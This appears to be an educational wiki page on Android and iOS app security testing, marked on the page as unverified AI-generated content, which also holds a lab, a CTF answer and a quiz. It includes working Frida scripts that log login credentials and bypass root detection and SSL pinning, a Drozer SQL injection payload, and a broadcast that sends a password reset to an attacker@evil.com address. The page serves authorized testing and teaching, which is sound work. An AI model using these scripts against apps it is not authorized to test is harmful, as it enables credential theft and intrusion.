Skip to content
Unverified — AI-generated content. Help verify this page

Mobile Application Security

Mobile applications handle some of the most sensitive data in existence: banking credentials, health records, biometrics, location history, and private communications. Unlike web applications where the server controls everything, mobile apps ship a compiled binary to the user's device — giving attackers full access to the client-side code, storage, and communication channels.

Mobile security testing combines reverse engineering, network interception, runtime manipulation, and API testing. This page covers the methodology, tools, and techniques used to assess Android and iOS applications for security vulnerabilities.

Related: Cybersecurity Overview | Web App Pentesting | API Security Testing | Reverse Engineering

Authorization Required

Only test mobile applications you own or have explicit written permission to test. Decompiling and analyzing third-party applications may violate terms of service. Use bug bounty programs or your own applications for practice.


Mobile Security Testing Methodology

Testing Environment Setup

ComponentAndroidiOS
DeviceRooted physical device or emulatorJailbroken iPhone or Corellium
ProxyBurp Suite + certificate installedBurp Suite + certificate installed
Decompilerjadx, apktool, dex2jarHopper, Ghidra, class-dump
HookingFrida, XposedFrida, Objection
Automated ScannerMobSF, QARKMobSF, idb
NetworkWi-Fi ADB proxy or VPNWi-Fi proxy or VPN

Android Security Testing

APK Decompilation

Android APKs are ZIP files containing Dalvik bytecode (DEX files), resources, and the manifest. Decompilation recovers near-original Java/Kotlin source code.

bash
# Download APK from device
adb shell pm list packages | grep target_app
adb shell pm path com.target.app
adb pull /data/app/com.target.app-1/base.apk

# Decompile with jadx (recommended — produces readable Java)
jadx -d output_dir base.apk

# Decompile with apktool (preserves resources, smali format)
apktool d base.apk -o apktool_output

# Convert DEX to JAR for JD-GUI
d2j-dex2jar base.apk -o output.jar

# Key files to examine after decompilation:
# AndroidManifest.xml — permissions, exported components, debug flag
# res/values/strings.xml — hardcoded strings, API endpoints
# assets/ — embedded databases, configuration files
# lib/ — native libraries (.so files)

Static Analysis Checklist

bash
# Check for hardcoded secrets
grep -rn "API_KEY\|SECRET\|PASSWORD\|TOKEN\|api_key\|secret_key" output_dir/
grep -rn "https\?://[a-zA-Z0-9.-]*" output_dir/  # API endpoints
grep -rn "BEGIN RSA PRIVATE KEY\|BEGIN CERTIFICATE" output_dir/

# Check AndroidManifest.xml
# Look for:
# - android:debuggable="true" (should be false in production)
# - android:allowBackup="true" (data can be extracted via adb backup)
# - android:exported="true" on activities/services/receivers
# - Excessive permissions (CAMERA, CONTACTS, LOCATION without justification)
# - Custom permissions with incorrect protection levels

# Check for insecure network configuration
# res/xml/network_security_config.xml
# Look for: cleartextTrafficPermitted="true", custom trust anchors
FindingRiskExample
debuggable=trueHighAttacker can attach debugger, step through code
allowBackup=trueMediumApp data extractable via adb backup
Hardcoded API keysHighKeys for AWS, Firebase, Google Maps in source
Exported activitiesMediumOther apps can launch internal activities
HTTP traffic allowedHighCredentials sent in cleartext
Weak crypto (MD5, SHA1 for passwords)HighHashes trivially crackable

Frida Hooking (Android)

Frida is a dynamic instrumentation toolkit that lets you inject JavaScript into running processes. It is the single most powerful tool for mobile security testing.

bash
# Install Frida
pip install frida-tools

# Push Frida server to Android device
adb push frida-server-16.x.x-android-arm64 /data/local/tmp/frida-server
adb shell chmod 755 /data/local/tmp/frida-server
adb shell /data/local/tmp/frida-server &

# List running processes
frida-ps -U

# Attach to running app
frida -U com.target.app

# Spawn app with Frida
frida -U -f com.target.app --no-pause
javascript
// Frida script — hook a method and log arguments
Java.perform(function() {
    // Hook the login method
    var LoginActivity = Java.use("com.target.app.LoginActivity");
    LoginActivity.login.implementation = function(username, password) {
        console.log("[*] Login called");
        console.log("[*] Username: " + username);
        console.log("[*] Password: " + password);

        // Call original method
        return this.login(username, password);
    };
});
javascript
// Frida script — bypass root detection
Java.perform(function() {
    // Hook common root detection methods
    var RootDetection = Java.use("com.target.app.security.RootDetection");
    RootDetection.isRooted.implementation = function() {
        console.log("[*] isRooted() called — returning false");
        return false;
    };

    // Hook Runtime.exec to block 'su' and 'which su' checks
    var Runtime = Java.use("java.lang.Runtime");
    Runtime.exec.overload("java.lang.String").implementation = function(cmd) {
        if (cmd.indexOf("su") !== -1) {
            console.log("[*] Blocked root check command: " + cmd);
            throw Java.use("java.io.IOException")
                .$new("Cannot run program");
        }
        return this.exec(cmd);
    };

    // Hook File.exists to hide root binaries
    var File = Java.use("java.io.File");
    File.exists.implementation = function() {
        var path = this.getAbsolutePath();
        if (path === "/system/bin/su" ||
            path === "/system/xbin/su" ||
            path === "/sbin/su") {
            console.log("[*] Hidden root binary: " + path);
            return false;
        }
        return this.exists();
    };
});
javascript
// Frida script — SSL pinning bypass (universal)
Java.perform(function() {
    // Bypass OkHttp3 CertificatePinner
    try {
        var CertificatePinner = Java.use(
            "okhttp3.CertificatePinner"
        );
        CertificatePinner.check.overload(
            "java.lang.String", "java.util.List"
        ).implementation = function(hostname, peerCertificates) {
            console.log("[*] OkHttp3 pin bypass for: " + hostname);
            return;  // Do nothing — bypass pin check
        };
    } catch(e) {
        console.log("[-] OkHttp3 not found");
    }

    // Bypass TrustManager
    var TrustManagerImpl = Java.use(
        "com.android.org.conscrypt.TrustManagerImpl"
    );
    TrustManagerImpl.verifyChain.implementation = function() {
        console.log("[*] TrustManager bypass");
        return arguments[0];  // Return the chain as-is
    };
});

Drozer (Android Component Testing)

Drozer tests Android components: activities, services, broadcast receivers, and content providers.

bash
# Install Drozer agent on device, start server
adb forward tcp:31415 tcp:31415
drozer console connect

# Enumerate attack surface
dz> run app.package.attacksurface com.target.app
# Output: 3 activities exported, 2 content providers exported

# List exported activities
dz> run app.activity.info -a com.target.app

# Launch an exported activity directly (bypass auth)
dz> run app.activity.start --component com.target.app com.target.app.AdminActivity

# Query exported content providers
dz> run app.provider.query content://com.target.app.provider/users

# SQL injection in content provider
dz> run app.provider.query content://com.target.app.provider/users --projection "* FROM sqlite_master WHERE type='table';--"

# Test broadcast receivers
dz> run app.broadcast.send --action com.target.app.RESET_PASSWORD --extra string email attacker@evil.com

iOS Security Testing

IPA Analysis

bash
# Extract IPA from jailbroken device
# Use tools like frida-ios-dump or bfinject

# Unzip IPA (it is a ZIP file)
unzip app.ipa -d ipa_contents/

# Key files to examine:
# Payload/App.app/Info.plist — app configuration, URL schemes
# Payload/App.app/embedded.mobileprovision — provisioning profile
# Payload/App.app/App — the Mach-O binary

# Dump classes from binary
class-dump Payload/App.app/App > classes.h

# Analyze binary with otool
otool -L Payload/App.app/App  # List linked libraries
otool -ov Payload/App.app/App  # Objective-C segments

# Check for PIE and stack canaries
otool -hv Payload/App.app/App
# Look for: PIE flag, stack canary (__stack_chk_guard)

Objection (iOS and Android)

Objection is a runtime exploration toolkit powered by Frida.

bash
# Install Objection
pip install objection

# Patch APK to include Frida gadget (no root needed)
objection patchapk -s base.apk

# Connect to running app
objection -g com.target.app explore

# Common Objection commands
objection> ios sslpinning disable        # Bypass SSL pinning
objection> android sslpinning disable    # Bypass SSL pinning
objection> ios keychain dump              # Dump iOS Keychain
objection> android keystore list          # List Android Keystore entries
objection> ios nsuserdefaults get         # Read NSUserDefaults
objection> android hooking list classes   # List loaded classes
objection> android hooking list class_methods com.target.app.LoginActivity

# Watch a method (log calls and arguments)
objection> android hooking watch class_method com.target.app.LoginActivity.login --dump-args --dump-return

# Search for specific patterns in memory
objection> memory search "password" --string

# Explore local file system
objection> env                            # Show app directories
objection> ls /data/data/com.target.app/  # List app files
objection> sqlite connect /data/data/com.target.app/databases/app.db

iOS-Specific Checks

CheckHowRisk if Vulnerable
Keychain storageobjection> ios keychain dumpSensitive data in insecure keychain items
Pasteboard leakageCopy sensitive data, check pasteboardCredentials in clipboard
URL scheme hijackingCheck Info.plist for custom URL schemesDeep link hijacking
Snapshot leakageBackground the app, check snapshot cacheScreenshots of sensitive screens
Binary protectionsotool -hv — check PIE, ARC, stack canaryExploit mitigations missing
Data Protection classCheck NSFileProtectionComplete usageFiles accessible when locked

Certificate Pinning Bypass

Certificate pinning ensures the app only trusts specific certificates, preventing man-in-the-middle attacks via proxy tools. Security testers need to bypass pinning to intercept traffic.

Bypass Methods Comparison

MethodDifficultyRoot/JB RequiredPersistence
Frida scriptEasyYes (or patched APK)Runtime only
ObjectionEasyYes (or patched APK)Runtime only
Patch APK (apktool)MediumNoPermanent
Magisk module (Android)EasyYesPersistent
SSL Kill Switch 2 (iOS)EasyYes (jailbreak)Persistent
bash
# Method 1: Objection (easiest)
objection -g com.target.app explore
objection> android sslpinning disable

# Method 2: Frida with pre-built script
frida -U -f com.target.app -l ssl_bypass.js --no-pause

# Method 3: Patch APK network security config
# Add to res/xml/network_security_config.xml:
xml
<!-- network_security_config.xml — trust user certificates -->
<network-security-config>
    <base-config cleartextTrafficPermitted="true">
        <trust-anchors>
            <certificates src="system" />
            <certificates src="user" />  <!-- Trust Burp certificate -->
        </trust-anchors>
    </base-config>
</network-security-config>
bash
# Rebuild and sign the patched APK
apktool b apktool_output -o patched.apk
keytool -genkey -v -keystore test.keystore -alias test -keyalg RSA -keysize 2048 -validity 10000
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore test.keystore patched.apk test
zipalign -v 4 patched.apk patched-aligned.apk
adb install patched-aligned.apk

OWASP Mobile Top 10

#VulnerabilityDescriptionTesting Approach
M1Improper Credential UsageHardcoded credentials, insecure storageStatic analysis, decompile, grep
M2Inadequate Supply Chain SecurityVulnerable libraries, tampered SDKsDependency scanning, SCA
M3Insecure Authentication/AuthorizationWeak auth, bypassable client-side checksFrida hooks, API testing
M4Insufficient Input/Output ValidationInjection, XSS in WebViewsFuzzing, manual testing
M5Insecure CommunicationMissing TLS, weak pinning, cleartextProxy interception, traffic analysis
M6Inadequate Privacy ControlsExcessive data collection, PII leakageTraffic analysis, storage review
M7Insufficient Binary ProtectionsNo obfuscation, debuggable, no integrity checksStatic analysis, tampering tests
M8Security MisconfigurationDebug mode, excessive permissions, backupManifest review, config analysis
M9Insecure Data StoragePlaintext in SharedPreferences, SQLite, logsFile system review, logcat
M10Insufficient CryptographyWeak algorithms, hardcoded keys, poor RNGStatic analysis, crypto review

Mobile API Security

Mobile apps communicate with backend APIs. Testing the API is often more fruitful than testing the app itself.

Common Mobile API Vulnerabilities

bash
# 1. Broken Object-Level Authorization (BOLA)
# Change user ID in requests to access other users' data
# Original: GET /api/v1/users/123/profile
# Attack:   GET /api/v1/users/124/profile

# 2. JWT token manipulation
# Decode JWT, check for weak signing algorithms
echo "eyJhbGciOiJIUzI1..." | base64 -d

# 3. API key extraction from decompiled source
grep -rn "x-api-key\|Authorization\|Bearer" decompiled_source/

# 4. Hardcoded endpoints for admin/debug APIs
grep -rn "/api/admin\|/api/debug\|/api/internal" decompiled_source/

# 5. Client-side validation only
# If the app enforces rules client-side, bypass with Burp
# Example: max transfer amount enforced in app but not API

Client-Side Security Is Not Security

Any check performed only on the mobile device can be bypassed. This includes:

  • Input validation and business logic rules
  • Root/jailbreak detection
  • Certificate pinning
  • Anti-tampering checks
  • Obfuscation (it slows down, but never prevents, reverse engineering)

Always validate server-side. Client-side checks are defense-in-depth, not primary controls.


Local Data Storage Testing

StorageAndroidiOSRisk
PreferencesSharedPreferences (XML)NSUserDefaults (plist)Plaintext on rooted/JB devices
DatabaseSQLiteSQLite / CoreDataPlaintext unless encrypted
FilesInternal/external storageApp sandboxExternal storage world-readable
Keychain/KeystoreAndroid KeystoreiOS KeychainMost secure, but check access controls
LogsLogcatConsole/syslogNever log sensitive data
ClipboardClipboardManagerUIPasteboardCross-app accessible
WebView cacheWebView cache dirWKWebView cacheMay contain tokens/credentials
bash
# Android — check SharedPreferences
adb shell cat /data/data/com.target.app/shared_prefs/*.xml

# Android — check SQLite databases
adb pull /data/data/com.target.app/databases/
sqlite3 app.db ".tables"
sqlite3 app.db "SELECT * FROM users;"

# Android — check logcat for sensitive data
adb logcat | grep -i "password\|token\|key\|secret"

# iOS — check NSUserDefaults
objection> ios nsuserdefaults get

# iOS — check Keychain
objection> ios keychain dump

Automated Scanning with MobSF

Mobile Security Framework (MobSF) provides automated static and dynamic analysis.

bash
# Run MobSF with Docker
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf

# Access web interface at http://localhost:8000
# Upload APK or IPA for analysis

# MobSF checks:
# - Hardcoded secrets and API keys
# - Insecure permissions
# - Debuggable flag
# - Network security configuration
# - Known vulnerable libraries
# - Code analysis for common patterns
# - Malware indicators

Tool Summary

ToolPlatformUse CaseType
MobSFAndroid + iOSAutomated static/dynamic analysisScanner
jadxAndroidAPK decompilation to JavaDecompiler
apktoolAndroidAPK decompilation to smali + resourcesDecompiler
FridaAndroid + iOSRuntime hooking and instrumentationDynamic
ObjectionAndroid + iOSRuntime exploration (Frida-powered)Dynamic
DrozerAndroidComponent testing (activities, providers)Dynamic
Burp SuiteBothNetwork traffic interceptionProxy
GhidraBothNative library (.so/.dylib) analysisRE
class-dumpiOSObjective-C class extractionStatic

Mobile Security Testing Checklist

#CheckToolsPass Criteria
1No hardcoded secrets in sourcejadx, grepZero API keys, passwords, or tokens in code
2Certificate pinning implementedFrida, ObjectionProxy rejected without bypass
3Root/jailbreak detectionFridaDetection present (defense-in-depth)
4Sensitive data encrypted at restadb, ObjectionNo plaintext in SharedPrefs/SQLite/logs
5No sensitive data in logslogcat, ConsoleZero PII/credentials in logs
6Strong authenticationBurp SuiteServer-side validation, no client-only auth
7Proper session managementBurp SuiteToken expiry, revocation, rotation
8No exported components with sensitive dataDrozerComponents properly protected
9WebView securityStatic analysisJavaScript disabled unless needed, no file access
10Binary protectionsotool, checksecPIE, stack canary, obfuscation present

Further Reading


Key Takeaway

  • Mobile apps ship their code to the attacker — decompilation with jadx reveals source code, API keys, and hardcoded secrets in minutes
  • Frida is the most powerful mobile security testing tool: it hooks methods at runtime to bypass root detection, SSL pinning, and authentication checks
  • Client-side security is not security — every check performed only on the device (input validation, root detection, pinning) can and will be bypassed
Hands-On Lab

Lab: Android Application Security Assessment

  1. Install an intentionally vulnerable Android app (e.g., DIVA, InsecureBankv2, or OWASP MSTG apps)
  2. Decompile the APK with jadx and search for hardcoded secrets (grep -rn "API_KEY\|SECRET\|PASSWORD")
  3. Review the AndroidManifest.xml for debuggable=true, allowBackup=true, and exported components
  4. Set up Frida on a rooted emulator and write a script to hook the login method and log credentials
  5. Bypass SSL certificate pinning using Objection (android sslpinning disable)
  6. Intercept API traffic with Burp Suite and test for BOLA/IDOR vulnerabilities
  7. Check local storage: examine SharedPreferences, SQLite databases, and logcat for sensitive data
  8. Run MobSF automated analysis and compare findings with your manual analysis
CTF Challenge

Challenge: The Locked App

An Android banking app has root detection, SSL pinning, and an encrypted local database. You need to: bypass root detection, intercept the API traffic, and find the admin API endpoint hidden in the source code.

Hints:

  1. Root detection checks for /system/bin/su and the su binary — hook File.exists() with Frida
  2. SSL pinning uses OkHttp3 CertificatePinner — use the universal bypass script
  3. The admin endpoint is in a decompiled class called ApiConfig or Constants
Answer

Deploy Frida server, attach to the app, and run the root detection bypass script (hook File.exists to return false for su paths). Run the SSL pinning bypass script (hook OkHttp3 CertificatePinner.check to do nothing). Traffic now flows through Burp Suite. Decompile the APK with jadx and search for ApiConfig — find the hidden admin endpoint /api/v1/admin/users. Access it through Burp with the intercepted auth token. Flag: CTF{frida_hooks_unlock_everything}.

:::

Common Misconceptions

  • "Obfuscation protects mobile apps from reverse engineering" — Obfuscation (ProGuard, R8) renames variables and classes but does not prevent decompilation. It slows attackers down but never stops them.
  • "Root/jailbreak detection makes the app secure" — Root detection is defense-in-depth, not a security boundary. Frida and Magisk modules bypass every known root detection technique.
  • "iOS apps are more secure than Android apps" — Both platforms have similar vulnerability classes. iOS's sandbox is slightly stronger, but jailbroken devices and Frida work equally well on both.
  • "Certificate pinning prevents all MITM attacks" — Pinning prevents interception by unauthorized proxies, but authorized testers bypass it trivially with Frida or Objection. It is defense-in-depth, not an absolute control.
  • "Mobile apps do not need server-side validation" — This is the most dangerous misconception. Every validation, business rule, and security check must be enforced server-side. The mobile client is untrusted.
Quiz

1. What tool decompiles Android APK files into readable Java source code?

a) Ghidra b) jadx c) Burp Suite d) Nmap

Answer

b) jadx decompiles Dalvik bytecode (DEX files) in Android APKs back into readable Java source code, making it the primary tool for Android static analysis.

2. What does the android:allowBackup="true" flag in AndroidManifest.xml allow?

a) Automatic app updates b) App data extraction via adb backup without root c) Cloud synchronization d) Debug logging

Answer

b) When allowBackup is true, anyone with physical access or ADB access can extract the app's data (databases, SharedPreferences, files) using adb backup, potentially exposing credentials and sensitive data.

3. What is the primary risk of storing sensitive data in Android SharedPreferences?

a) SharedPreferences are slow b) SharedPreferences are stored as plaintext XML files accessible on rooted devices c) SharedPreferences have a size limit d) SharedPreferences cannot store strings

Answer

b) SharedPreferences store data as plaintext XML files in the app's data directory. On a rooted device, these files are directly readable, exposing any sensitive data stored in them.

4. Why is Frida more powerful than static analysis alone for mobile testing?

a) Frida is faster b) Frida can modify runtime behavior, bypass security controls, and observe actual data flow c) Frida works without a device d) Frida finds more CVEs

Answer

b) Frida injects into the running process and can hook any method, modify arguments and return values, bypass runtime checks (root detection, pinning), and observe actual decrypted data flow — things impossible with static analysis alone.

5. According to OWASP Mobile Top 10, what is M1?

a) Insecure Communication b) Improper Credential Usage c) Insecure Data Storage d) Insufficient Cryptography

Answer

b) M1 (2024) is Improper Credential Usage — hardcoded credentials, insecure credential storage, and improper handling of authentication tokens in mobile applications.

:::

One-Liner Summary: Every mobile app is an open book to anyone with jadx and Frida — the real security must live on the server.

"What I cannot create, I do not understand." — Richard Feynman